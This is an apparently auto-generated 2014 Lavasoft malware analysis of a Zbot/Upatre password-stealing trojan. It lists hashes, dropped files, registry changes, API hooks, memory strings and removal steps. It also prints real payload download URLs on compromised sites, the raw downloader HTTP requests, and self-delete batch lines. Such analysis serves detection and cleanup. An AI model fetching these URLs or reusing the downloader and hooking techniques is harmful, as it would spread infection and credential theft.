Trojan-PSW.Win32.Zbot.4_c70b46ebbe

by malwarelabrobot on April 28th, 2014 in Malware Descriptions.

Trojan.Win32.Bublik.bzhe (Kaspersky), Trojan.GenericKD.1568342 (B) (Emsisoft), Trojan.GenericKD.1568342 (AdAware), Trojan-PSW.Win32.Zbot.4.FD, GenericInjector.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: c70b46ebbe517c26e3e7c4de716e8e3f
SHA1: dbc6960ba564ef6ffc460d90a0269e1f0d16f920
SHA256: bbbfb3eb7cc9ef91146a37ad7770da9b6178628931ee1c88b2740b46b65b52a3
SSDeep: 384:nZOd1djpW9s3mjHXRrs905INeZCFtejlIko5dN127BFVn2p4lAnZ8OJWYB tn:19djHXRrs9sINeZEtejlIkoLN127BFVH
Size: 16896 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2013-04-06 22:58:07
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

googleupdate.exe:880
yqvyi.exe:1768
%original file name%.exe:908
lkajsd.exe:1700

The Trojan-PSW injects its code into the following process(es):

Explorer.EXE:1572

File activity

The process googleupdate.exe:880 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\lkajsd.exe (1653 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\13UKp[1].z12 (311 bytes)

The Trojan-PSW deletes the following file(s):

C:\%original file name%.exe (0 bytes)

The process yqvyi.exe:1768 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\NTUSER.DAT.LOG (5400 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (4980 bytes)

The process %original file name%.exe:908 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\googleupdate.exe (16 bytes)

The process lkajsd.exe:1700 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Exwehu\yqvyi.exe (2477 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ROZE71A.bat (175 bytes)

Registry activity

The process googleupdate.exe:880 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"lkajsd.exe" = "lkajsd"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EE 43 F3 7B C2 2A 54 A3 62 E3 84 FC 5E 66 5C E5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process yqvyi.exe:1768 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3E 54 87 9E 0B 5E 61 BC F0 72 FC 21 44 C7 3A 8B"

[HKCU\Software\Microsoft\Fuilifonamm]
"173j4763" = "FD 67 C9 9E 0C 3A 2E DB 73 27"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process %original file name%.exe:908 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "65 EB F6 39 6E 8B 57 80 6C 5D 5D A8 41 10 E9 C6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"GoogleUpdate.exe" = "googleupdate"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process lkajsd.exe:1700 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "47 AF 12 22 13 EE 61 47 2B 99 5A 62 A0 3B 38 A2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

Dropped PE files

MD5 File path
45374c8171f17fc159ecb0c51cf082d8 c:\Documents and Settings\"%CurrentUserName%"\Application Data\Exwehu\yqvyi.exe
795ae0d1bb3d3494c8b9be94b04ba2b5 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\googleupdate.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetWriteFile
InternetWriteFileExA
InternetQueryDataAvailable
HttpQueryInfoW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

GetClipboardData
TranslateMessage

The Trojan-PSW installs the following user-mode hooks in Secur32.dll:

DecryptMessage
SealMessage
DeleteSecurityContext

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSAGetOverlappedResult
WSASend
recv
gethostbyname
WSARecv
send
closesocket
freeaddrinfo
getaddrinfo
GetAddrInfoW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 3812 4096 5.00998 b81b25cc84067115bea5371680778d5a
.rdata 8192 1020 1024 3.1992 0910f60487943e101dabe1ee82ed5498
.data 12288 384 512 1.69501 b49dde9239b96fb5ea37738d8de98377
.rsrc 16384 10104 10240 3.84778 fce14432f7b0582c99e7cde715a2ca0f

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://lifeint.com.au/wp-content/uploads/2014/02/13UKp.z12 122.201.102.68
hxxp://londonroofingroofers.co.uk/wp-content/uploads/2013/12/13UKp.z12 66.221.228.55


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Downloader (P2P Zeus dropper UA)
ET TROJAN Upatre Binary Download Jan 02 2014

Traffic

GET /wp-content/uploads/2013/12/13UKp.z12 HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Host: londonroofingroofers.co.uk
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Mon, 28 Apr 2014 00:52:56 GMT
Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
Last-Modified: Thu, 13 Feb 2014 03:46:35 GMT
ETag: "5a4ecd-4bf98-4f2418935c1ea"
Accept-Ranges: bytes
Content-Length: 311192
Content-Type: text/plain; charset=UTF-8
ZZP.Q...,..Pvs..rs...s..vK.Rv3.kls.Sv}.L.}.....S.r..W'.:v..#...!.s.s..
.=...s...!...S....9 .>v..6X~.YRr...........v..../.vt..../.vt..../.t
|u..q...q.N../[email protected]../.7s..../.ttu....T...QQ'...q.....R.r..&6.S:r.
sv.`d8...vs.R}r.Sv......Z7f.Qf..Es...sq..ss.L.q..tm.\vh.BpL.\ui.H.p.Pt
s3j~v.7ww[Vv..WW0.Vv3.tX.C6...P,..xwW..Lr.[vS.S.].!...2vs!8t.Ke4...}y.
U6....s..w&KZ.~KRD......!...0.qIi.O.....l...SIs.SIs.S#......cN6....D.v
.*..{..S....o.S $.6.@tjvN?.3s..!..9w(.;^s.Q.2..!...vs.S...[.n.2r...! .
w.s.2uk.Py..3s.LV.p.mO..-vct&b..C.s..rs...6.G.....q.N6..O....u..&z..[u
zb.7...w|...{.C.{*..u..Vw...v..R.SSm...~3..V...cokU.... ...y..R.u.....
H.sKPR.c..w.S.h...6W.v>w..`.R.WH.wm..Tq..v...........U..R.y.M;|.N4p
(G7R......M..a.6.Sr..j.o.....\M..,h0.@;u.w...WE..S.......^w...((B..6).
[email protected]`a.EE.P.`.......zao.z...g$.&Vw...u.B  .;V...l.iDM..\..
[email protected].. ....f..yw.....2u%H.%[tFb...Vz.Q
z (2~2.w.6..Vz...s.Z7#.U...v7... k...k..h...3S..tk.e.6kh...0..w.Js.A.P
...P......! ..n...v.O_.x.x.w..wX...Zt.....}...|3../=.sus..k...O...O.K.
bs.\...wr.[..*.Qr..`[email protected].].{H.E..Qk..&e..w~s.........,".cs-....gA.v$
.y~b _On..w.._w..'x%t..`....K:..._f..MV|../..w^c.Y.p[.u..xVv.Xf....H..
tNzUv .N.6.Rq|...f.\.1-.v.......f....B..^..n~..Sw..s.q....../s`X..4.v.
.W..kQ....r.H....bws.....\....29...}.S.y..3{..vz.Q.z.6.c.. {.C.>wS.
r.S.p..V..[&....F..........|S @.3.&p|=C3.`^&sv\.......X......._.;.....
C...^.t..rs..$.C..F..v.r.~.}. {..(...v........{v......{..~sZ[....b.w.~
o;^t.H.y..YU6..q*Kb.GDb.B..G..F.C.`.._..fk.VbC....Cv....sJ.~S...~S
<<< skipped >>>


GET /wp-content/uploads/2014/02/13UKp.z12 HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Host: lifeint.com.au
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 28 Apr 2014 07:57:07 GMT
Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.3.27
Content-Length: 501
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /wp
-content/uploads/2014/02/13UKp.z12 was not found on this server.</p
>.<p>Additionally, a 404 Not Found.error was encountered whil
e trying to use an ErrorDocument to handle the request.</p>.<
hr>.<address>Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/0.9.
8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.3.27 Server at lifeint.com.au Po
rt 80</address>.</body></html>.HTTP/1.1 404 Not Foun
d..Date: Mon, 28 Apr 2014 07:57:07 GMT..Server: Apache/2.2.26 (Unix) m
od_ssl/2.2.26 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.3.27..
Content-Length: 501..Content-Type: text/html; charset=iso-8859-1..<
!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><h
ead>.<title>404 Not Found</title>.</head><body
>.<h1>Not Found</h1>.<p>The requested URL /wp-con
tent/uploads/2014/02/13UKp.z12 was not found on this server.</p>
.<p>Additionally, a 404 Not Found.error was encountered while tr
ying to use an ErrorDocument to handle the request.</p>.<hr&g
t;.<address>Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/0.9.8e-f
ips-rhel5 mod_bwlimited/1.4 PHP/5.3.27 Server at lifeint.com.au Port 8
0</address>.</body></html>...
<<< skipped >>>
Explorer.EXE_1572_rwx_01EA0000_00048000:

.text
`.data
.idata
@.reloc
Invalid parameter passed to C runtime function.
>$>,>4><>
0123456789
http://www.google.com/
http://www.bing.com/
REPORT
HTTP/1.1
RegDeleteKeyExW
gdiplus.dll
GdiplusShutdown
.TJFZAIY]JD^"
?:527|:!;8
!1 (##!(
Kmv`jn`%fnfnzg,bt3crd~da4
1&,$=OJ-:&#O-
-.ynp<
'2$4>%|903
: 8? 1 !
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
w%fkN
t.Ht$HHt
L$$
m9.td
zcÁ
ntdll.dll
KERNEL32.dll
ExitWindowsEx
GetKeyboardState
MsgWaitForMultipleObjects
USER32.dll
CryptGetKeyParam
CryptImportKey
CryptDestroyKey
RegCreateKeyExW
RegCloseKey
RegQueryInfoKeyW
RegDeleteKeyW
RegOpenKeyExW
RegFlushKey
RegEnumKeyExW
ADVAPI32.dll
UrlUnescapeA
PathIsURLW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
ole32.dll
GDI32.dll
WS2_32.dll
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
PFXImportCertStore
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
InternetCrackUrlA
HttpOpenRequestA
HttpEndRequestA
HttpAddRequestHeadersA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
IPHLPAPI.DLL
VERSION.dll
msvcrt.dll
9 9$9(9,9094989
> >$>(>,>0>4>|>
00D0K0_0q0z0
:!:(:,:1:8:^:
\StringFileInfo\xx\%s
urlmon.dll
SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\%s
kernel32.dll
launchpadshell.exe
dirclt32.exe
wtng.exe
prologue.exe
pcsws.exe
fdmaster.exe
shell32.dll
cabinet.dll
Wadvapi32.dll
"%s" %s
/c "%s"
%Documents and Settings%\%current user%\Application Data
%Documents and Settings%\%current user%\Local Settings\Application Data
Global\{3D6E1BE3-083C-4088-F013-F140DE00D252}


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    googleupdate.exe:880
    yqvyi.exe:1768
    %original file name%.exe:908
    lkajsd.exe:1700

  3. Delete the original Trojan-PSW file.
  4. Delete or disinfect the following files created/modified by the Trojan-PSW:

    %Documents and Settings%\%current user%\Local Settings\Temp\lkajsd.exe (1653 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\13UKp[1].z12 (311 bytes)
    %Documents and Settings%\%current user%\NTUSER.DAT.LOG (5400 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\googleupdate.exe (16 bytes)
    %Documents and Settings%\%current user%\Application Data\Exwehu\yqvyi.exe (2477 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\ROZE71A.bat (175 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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